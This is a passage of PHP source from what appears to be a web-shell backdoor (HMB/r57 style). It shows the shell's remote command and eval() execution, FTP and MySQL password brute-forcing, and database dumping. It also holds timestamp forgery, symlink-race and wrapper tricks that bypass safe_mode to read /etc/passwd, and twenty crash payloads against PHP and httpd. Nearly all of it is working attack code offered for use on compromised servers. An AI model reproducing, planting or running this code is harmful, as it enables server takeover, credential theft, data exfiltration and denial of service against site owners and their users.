2242 $str = @imap_body($stream, 1);
2243 echo htmlspecialchars($str);
2244 @imap_close($stream);
2245 break;
2246 case 'test8':
2247 $temp=@tempnam($_POST['test8_file2'], "copytemp");
2248 $str = readzlib($_POST['test8_file1'],$temp);
2249 echo htmlspecialchars($str);
2250 @unlink($temp);
2251 break;
2252 case 'test9':
2253 @ini_restore("safe_mode");
2254 @ini_restore("open_basedir");
2255 $str = moreread($_POST['test9_file']);
2256 echo htmlspecialchars($str);
2257 break;
2258 case 'test10':
2259 @ob_clean();
2260 $error_reporting = @ini_get('error_reporting');
2261 error_reporting(E_ALL ^ E_NOTICE);
2262 @ini_set("display_errors", 1);
2263 $str=fopen($_POST['test10_file'],"r");
2264 while(!feof($str)){print htmlspecialchars(fgets($str));}
2265 fclose($str);
2266 error_reporting($error_reporting);
2267 break;
2268 case 'test11':
2269 @ob_clean();
2270 $temp = 'zip://'.$_POST['test11_file'];
2271 $str = moreread($temp);
2272 echo htmlspecialchars($str);
2273 break;
2274 case 'test12':
2275 @ob_clean();
2276 $temp = 'compress.bzip2://'.$_POST['test12_file'];
2277 $str = moreread($temp);
2278 echo htmlspecialchars($str);
2279 break;
2280 case 'test13':
2281 @error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".$_POST['test13_file2']);
2282 echo $lang[$language.'_text61'];
2283 break;
2284 case 'test14':
2285 @session_save_path($_POST['test14_file2']."\0;/tmp");
2286 @session_start();
2287 @$_SESSION[php]=$_POST['test14_file1'];
2288 echo $lang[$language.'_text61'];
2289 break;
2290 case 'test15':
2291 @readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".$_POST['test15_file2']);
2292 echo $lang[$language.'_text61'];
2293 break;
2294 case 'test16':
2295 if (fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61'];
2296 break;
2297 case 'test17_1':
2298 @unlink('symlinkread');
2299 @symlink('a/a/a/a/a/a/', 'dummy');
2300 @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'], 'symlinkread');
2301 @unlink('dummy');
2302 while (1)
2303 {
2304 @symlink('.', 'dummy');
2305 @unlink('dummy');
2306 }
2307 break;
2308 case 'test17_2':
2309 $str='';
2310 while (strlen($str) < 3) {
2311 $temp = 'symlinkread';
2312 $str = moreread($temp);
2313 if($str){ @ob_clean(); echo htmlspecialchars($str);}
2314 }
2315 break;
2316 case 'test17_3':
2317 $dir = $files = array();
2318 if(@version_compare(@phpversion(),"5.0.0")>=0){
2319 while (@count($dir) < 3) {
2320 $dir=@scandir('symlinkread');
2321 if (@count($dir) > 2) {@ob_clean(); @print_r($dir); }
2322 }
2323 }
2324 else {
2325 while (@count($files) < 3) {
2326 $dh = @opendir('symlinkread');
2327 while (false !== ($filename = @readdir($dh))) {
2328 $files[] = $filename;
2329 }
2330 if(@count($files) > 2){@ob_clean(); @print_r($files); }
2331 }
2332 }
2333 break;
2334 }
2335}
2336if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){
2337 $cmd_rep = ex($_POST['cmd']);
2338 if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
2339 else { echo @htmlspecialchars($cmd_rep)."\n"; }}
2340
2341switch($_POST['cmd'])
2342{
2343 case 'dos1':
2344 function a() { a(); } a();
2345 break;
2346 case 'dos2':
2347 @pack("d4294967297", 2);
2348 break;
2349 case 'dos3':
2350 $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a)));
2351 break;
2352 case 'dos4':
2353 $t = array(1);while (1) {$a[] = &$t;};
2354 break;
2355 case 'dos5':
2356 @dl("sqlite.so");$db = new SqliteDatabase("foo");
2357 break;
2358 case 'dos6':
2359 preg_match('/(.(?!b))*/', @str_repeat("a", 10000));
2360 break;
2361 case 'dos7':
2362 @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538));
2363 break;
2364 case 'dos8':
2365 @shell_exec("killall -11 httpd");
2366 break;
2367 case 'dos9':
2368 function cx(){ @tempnam("/www/", "../../../../../../var/tmp/cx"); cx(); } cx();
2369 break;
2370 case 'dos10':
2371 $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0);
2372 break;
2373 case 'dos11':
2374 @array_fill(1,123456789,"Infigo-IS");
2375 break;
2376 case 'dos12':
2377 @substr_compare("A","A",12345678);
2378 break;
2379 case 'dos13':
2380 @unserialize("a:2147483649:{");
2381 break;
2382 case 'dos14':
2383 $Data = @str_ireplace("\n", "<br>", $Data);
2384 break;
2385 case 'dos15':
2386 function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);}
2387 $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);}
2388 @htmlentities($str1, ENT_NOQUOTES, "UTF-8");
2389 break;
2390 case 'dos16':
2391 $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e);
2392 for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
2393 unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]);
2394 break;
2395 case 'dos17':
2396 $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
2397 $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
2398 $x = "AQ ";
2399 unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x);
2400 break;
2401 case 'dos18':
2402 $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600);
2403 if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
2404 echo "Msg not sent because $msg_err\n";
2405 if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
2406 echo "$msg\n";
2407 } else { echo "Received $msg_error fetching message\n"; break; }
2408 @msg_remove_queue ($msg_id);
2409 break;
2410 case 'dos19':
2411 $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r");
2412 break;
2413 case 'dos20':
2414 $hashtable = str_repeat("A", 39);
2415 $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08);
2416 $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99);
2417 $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
2418 for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; }
2419 $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
2420 @unserialize($str);
2421 break;
2422}
2423
2424if ($_POST['cmd']=="php_eval"){
2425 $eval = @str_replace("<?","",$_POST['php_eval']);
2426 $eval = @str_replace("?>","",$eval);
2427 @eval($eval);}
2428
2429if ($_POST['cmd']=="ftp_brute")
2430 {
2431 $suc = 0;
2432 if($_POST['brute_method']=='passwd'){
2433 foreach($users as $user)
2434 {
2435 $connection = @ftp_connect($ftp_server,$ftp_port,10);
2436 if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
2437 else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
2438 @ftp_close($connection);
2439 }
2440 }else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){
2441 foreach($users as $user)
2442 {
2443 $connection = @ftp_connect($ftp_server,$ftp_port,10);
2444 if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".$_POST['ftp_login'].":$user - success\r\n"; $suc++; }
2445 @ftp_close($connection);
2446 }
2447 }
2448 echo "\r\n-------------------------------------\r\n";
2449 $count = count($users);
2450 if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
2451 echo $lang[$language.'_text97'].$count."\r\n";
2452 echo $lang[$language.'_text98'].$suc."\r\n";
2453 }
2454
2455if ($_POST['cmd']=="db_brute")
2456 {
2457 $suc = 0;
2458 if($_POST['brute_method']=='passwd'){
2459 foreach($users as $user)
2460 {
2461 $sql = new my_sql();
2462 $sql->db = $_POST['db'];
2463 $sql->host = $_POST['db_server'];
2464 $sql->port = $_POST['db_port'];
2465 $sql->user = $user;
2466 $sql->pass = $user;
2467 if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; }
2468 }
2469 if(isset($_POST['reverse']))
2470 {
2471 foreach($users as $user)
2472 {
2473 $sql = new my_sql();
2474 $sql->db = $_POST['db'];
2475 $sql->host = $_POST['db_server'];
2476 $sql->port = $_POST['db_port'];
2477 $sql->user = $user;
2478 $sql->pass = strrev($user);
2479 if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; }
2480 }
2481 }
2482 }else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){
2483 foreach($users as $user)
2484 {
2485 $sql = new my_sql();
2486 $sql->db = $_POST['db'];
2487 $sql->host = $_POST['db_server'];
2488 $sql->port = $_POST['db_port'];
2489 $sql->user = $_POST['mysql_l'];
2490 $sql->pass = $user;
2491 if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n"; $suc++; }
2492 }
2493 }
2494 echo "\r\n-------------------------------------\r\n";
2495 $count = count($users);
2496 if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
2497 echo $lang[$language.'_text97'].$count."\r\n";
2498 echo $lang[$language.'_text98'].$suc."\r\n";
2499 }
2500
2501if ($_POST['cmd']=="mysql_dump")
2502 {
2503 if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
2504 $sql = new my_sql();
2505 $sql->db = $_POST['db'];
2506 $sql->host = $_POST['db_server'];
2507 $sql->port = $_POST['db_port'];
2508 $sql->user = $_POST['mysql_l'];
2509 $sql->pass = $_POST['mysql_p'];
2510 $sql->base = $_POST['mysql_db'];
2511 if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
2512 else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
2513 else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
2514 else {
2515 if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
2516 else if($fp || @function_exists('file_put_contents')){ foreach($sql->dump as $v){ @fwrite($fp,$v."\r\n") or @fputs($fp,$v."\r\n") or @file_put_contents($_POST['dif_name'],$v."\r\n");} }
2517 else { echo "[-] ERROR! Can't write in dump file"; }
2518 }
2519 }
2520
2521echo "</textarea></div>";
2522echo "</b>";
2523echo "</td></tr></table>";
2524echo "<table width=100% cellpadding=0 cellspacing=0>";
2525
2526function div_title($title, $id)
2527{
2528 return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
2529}
2530function div($id)
2531 {
2532 if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">';
2533 $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38');
2534 if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">';
2535 return '<div id="'.$id.'">';
2536 }
2537
2538if(!$safe_mode){
2539echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
2540echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
2541echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
2542echo $te.'</div>'.$table_end1.$fe;
2543}
2544else{
2545echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
2546echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
2547echo $te.'</div>'.$table_end1.$fe;
2548}
2549echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
2550echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
2551echo $te.'</div>'.$table_end1.$fe;
2552
2553if($safe_mode || $open_basedir){
2554echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
2555echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
2556echo $te.'</div>'.$table_end1.$fe;
2557}
2558
2559if($unix && @function_exists('touch')){
2560echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts;
2561echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($dir."/HMB.php")))
2562.ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>"
2563.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):(""))));
2564echo sr(15,"<b> or set Day".$arrow."</b>",
2565'
2566<select name="day" size="1">
2567<option value="01">1</option>
2568<option value="02">2</option>
2569<option value="03">3</option>
2570<option value="04">4</option>
2571<option value="05">5</option>
2572<option value="06">6</option>
2573<option value="07">7</option>
2574<option value="08">8</option>
2575<option value="09">9</option>
2576<option value="10">10</option>
2577<option value="11">11</option>
2578<option value="12">12</option>
2579<option value="13">13</option>
2580<option value="14">14</option>
2581<option value="15">15</option>
2582<option value="16">16</option>
2583<option value="17">17</option>
2584<option value="18">18</option>
2585<option value="19">19</option>
2586<option value="20">20</option>
2587<option value="21">21</option>
2588<option value="22">22</option>
2589<option value="23">23</option>
2590<option value="24">24</option>
2591<option value="25">25</option>
2592<option value="26">26</option>
2593<option value="27">27</option>
2594<option value="28">28</option>
2595<option value="29">29</option>
2596<option value="30">30</option>
2597<option value="31">31</option>
2598</select>'
2599.ws(4)."<b>Month".$arrow."</b>"
2600.'
2601<select name="month" size="1">
2602<option value="January">January</option>
2603<option value="February">February</option>
2604<option value="March">March</option>
2605<option value="April">April</option>
2606<option value="May">May</option>
2607<option value="June">June</option>
2608<option value="July">July</option>
2609<option value="August">August</option>
2610<option value="September">September</option>
2611<option value="October">October</option>
2612<option value="November">November</option>
2613<option value="December">December</option>
2614</select>'
2615.ws(4)."<b>Year".$arrow."</b>"
2616.'
2617<select name="year" size="1">
2618<option value="1998">1998</option>
2619<option value="1999">1999</option>
2620<option value="2000">2000</option>
2621<option value="2001">2001</option>
2622<option value="2002">2002</option>
2623<option value="2003">2003</option>
2624<option value="2004">2004</option>
2625<option value="2005">2005</option>
2626<option value="2006">2006</option>
2627<option value="2006">2007</option>
2628<option value="2006">2008</option>
2629<option value="2006">2009</option>
2630<option value="2006">2010</option>
2631</select>'
2632.ws(4)."<b>Hour".$arrow."</b>"
2633.'
2634<select name="chasi" size="1">
2635<option value="01">01</option>
2636<option value="02">02</option>
2637<option value="03">03</option>
2638<option value="04">04</option>
2639<option value="05">05</option>
2640<option value="06">06</option>
2641<option value="07">07</option>
2642<option value="08">08</option>
2643<option value="09">09</option>
2644<option value="10">10</option>
2645<option value="11">11</option>
2646<option value="12">12</option>
2647<option value="13">13</option>
2648<option value="14">14</option>
2649<option value="15">15</option>
2650<option value="16">16</option>
2651<option value="17">17</option>
2652<option value="18">18</option>
2653<option value="19">19</option>
2654<option value="20">20</option>
2655<option value="21">21</option>
2656<option value="22">22</option>
2657<option value="23">23</option>
2658<option value="24">24</option>
2659</select>'
2660.ws(4)."<b>Minute".$arrow."</b>"
2661.'
2662<select name="minutes" size="1">
2663<option value="01">1</option>
2664<option value="02">2</option>
2665<option value="03">3</option>
2666<option value="04">4</option>
2667<option value="05">5</option>
2668<option value="06">6</option>
2669<option value="07">7</option>
2670<option value="08">8</option>
2671<option value="09">9</option>
2672<option value="10">10</option>
2673<option value="11">11</option>
2674<option value="12">12</option>
2675<option value="13">13</option>
2676<option value="14">14</option>
2677<option value="15">15</option>
2678<option value="16">16</option>
2679<option value="17">17</option>
2680<option value="18">18</option>
2681<option value="19">19</option>
2682<option value="20">20</option>
2683<option value="21">21</option>
2684<option value="22">22</option>
2685<option value="23">23</option>
2686<option value="24">24</option>
2687<option value="25">25</option>
2688<option value="26">26</option>
2689<option value="27">27</option>
2690<option value="28">28</option>
2691<option value="29">29</option>
2692<option value="30">30</option>
2693<option value="31">31</option>
2694<option value="32">32</option>
2695<option value="33">33</option>
2696<option value="34">34</option>
2697<option value="35">35</option>
2698<option value="36">36</option>
2699<option value="37">37</option>
2700<option value="38">38</option>
2701<option value="39">39</option>
2702<option value="40">40</option>
2703<option value="41">41</option>
2704<option value="42">42</option>
2705<option value="43">43</option>
2706<option value="44">44</option>
2707<option value="45">45</option>
2708<option value="46">46</option>
2709<option value="47">47</option>
2710<option value="48">48</option>
2711<option value="49">49</option>
2712<option value="50">50</option>
2713<option value="51">51</option>
2714<option value="52">52</option>
2715<option value="53">53</option>
2716<option value="54">54</option>
2717<option value="55">55</option>
2718<option value="56">56</option>
2719<option value="57">57</option>
2720<option value="58">58</option>
2721<option value="59">59</option>
2722</select>'
2723.ws(4)."<b>Second".$arrow."</b>"
2724.'
2725<select name="second" size="1">
2726<option value="01">1</option>
2727<option value="02">2</option>
2728<option value="03">3</option>
2729<option value="04">4</option>
2730<option value="05">5</option>
2731<option value="06">6</option>
2732<option value="07">7</option>
2733<option value="08">8</option>
2734<option value="09">9</option>
2735<option value="10">10</option>
2736<option value="11">11</option>
2737<option value="12">12</option>
2738<option value="13">13</option>
2739<option value="14">14</option>
2740<option value="15">15</option>
2741<option value="16">16</option>
2742<option value="17">17</option>
2743<option value="18">18</option>
2744<option value="19">19</option>
2745<option value="20">20</option>
2746<option value="21">21</option>
2747<option value="22">22</option>
2748<option value="23">23</option>
2749<option value="24">24</option>
2750<option value="25">25</option>
2751<option value="26">26</option>
2752<option value="27">27</option>
2753<option value="28">28</option>
2754<option value="29">29</option>
2755<option value="30">30</option>
2756<option value="31">31</option>
2757<option value="32">32</option>
2758<option value="33">33</option>
2759<option value="34">34</option>
2760<option value="35">35</option>
2761<option value="36">36</option>
2762<option value="37">37</option>
2763<option value="38">38</option>
2764<option value="39">39</option>
2765<option value="40">40</option>
2766<option value="41">41</option>
2767<option value="42">42</option>
2768<option value="43">43</option>
2769<option value="44">44</option>
2770<option value="45">45</option>
2771<option value="46">46</option>
2772<option value="47">47</option>
2773<option value="48">48</option>
2774<option value="49">49</option>
2775<option value="50">50</option>
2776<option value="51">51</option>
2777<option value="52">52</option>
2778<option value="53">53</option>
2779<option value="54">54</option>
2780<option value="55">55</option>
2781<option value="56">56</option>
2782<option value="57">57</option>
2783<option value="58">58</option>
2784<option value="59">59</option>
2785</select>'
2786.in('hidden','cmd',0,'touch')
2787.in('hidden','dir',0,$dir)
2788.ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
2789echo $te.'</div>'.$table_end1.$fe;
2790}
2791
2792$select='';
2793if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";}
2794if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";}
2795if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";}
2796if($unix && $select){
2797echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
2798echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($dir."/HMB.php"))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
2799echo $te.'</div>'.$table_end1.$fe;
2800}
2801
2802if(!$safe_mode){
2803$aliases2 = '';
2804foreach ($aliases as $alias_name=>$alias_cmd)
2805 {
2806 $aliases2 .= "<option>$alias_name</option>";
2807 }
2808echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id7').$table_up2.div('id7').$ts;
2809echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
2810echo $te.'</div>'.$table_end1.$fe;
2811}
2812
2813echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id8').$table_up2.div('id8').$ts;
2814echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
2815echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
2816echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
2817echo $te.'</div>'.$table_end1.$fe;
2818
2819if(!$safe_mode && $unix){
2820echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts;
2821echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
2822echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
2823echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
2824echo $te.'</div>'.$table_end1.$fe;
2825}
2826
2827echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id10').$table_up2.$font;
2828echo "<div align=center>".div('id10')."<textarea name=php_eval cols=100 rows=10>";
2829echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"HMB.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
2830echo "</textarea>";
2831echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
2832echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
2833echo "</div></div></font>";
2834echo $table_end1.$fe;
2835
2836if($safe_mode || $open_basedir)
2837{
2838echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
2839echo "<table class=table1 width=100% align=center>";
2840echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
2841echo $te.'</div>'.$table_end1.$fe;
2842}
2843
2844if(($safe_mode || $open_basedir) && $curl_on && @version_compare(@phpversion(),"5.2.0")<=0)
2845{
2846echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts;
2847echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
2848echo $te.'</div>'.$table_end1.$fe;
2849}
2850
2851if(($safe_mode || $open_basedir) && $mysql_on)
2852{
2853echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id13').$table_up2.div('id13').$ts;
2854echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
2855echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
2856echo $te.'</div>'.$table_end1.$fe;
2857}
2858
2859if(($safe_mode || $open_basedir) && $mssql_on)
2860{
2861echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts;
2862echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
2863echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
2864echo $te.'</div>'.$table_end1.$fe;
2865}
2866
2867if(($safe_mode || $open_basedir) && $unix && @function_exists('mb_send_mail') && @version_compare(@phpversion(),"5.2.0")<=0){
2868echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts;
2869echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
2870echo $te.'</div>'.$table_end1.$fe;
2871}
2872
2873if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_list') && @version_compare(@phpversion(),"5.2.0")<=0){
2874echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id20').$table_up2.div('id20').$ts;
2875echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
2876echo $te.'</div>'.$table_end1.$fe;
2877}
2878
2879if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_body') && @version_compare(@phpversion(),"5.2.0")<=0){
2880echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts;
2881echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
2882echo $te.'</div>'.$table_end1.$fe;
2883}
2884
2885if(($safe_mode || $open_basedir) && @function_exists('copy') && @version_compare(@phpversion(),"5.2.0")<=0)
2886{
2887echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts;
2888echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
2889echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
2890echo $te.'</div>'.$table_end1.$fe;
2891}
2892
2893if(($safe_mode || $open_basedir) && @function_exists('ini_restore') && @version_compare(@phpversion(),"5.2.0")<=0){
2894echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts;
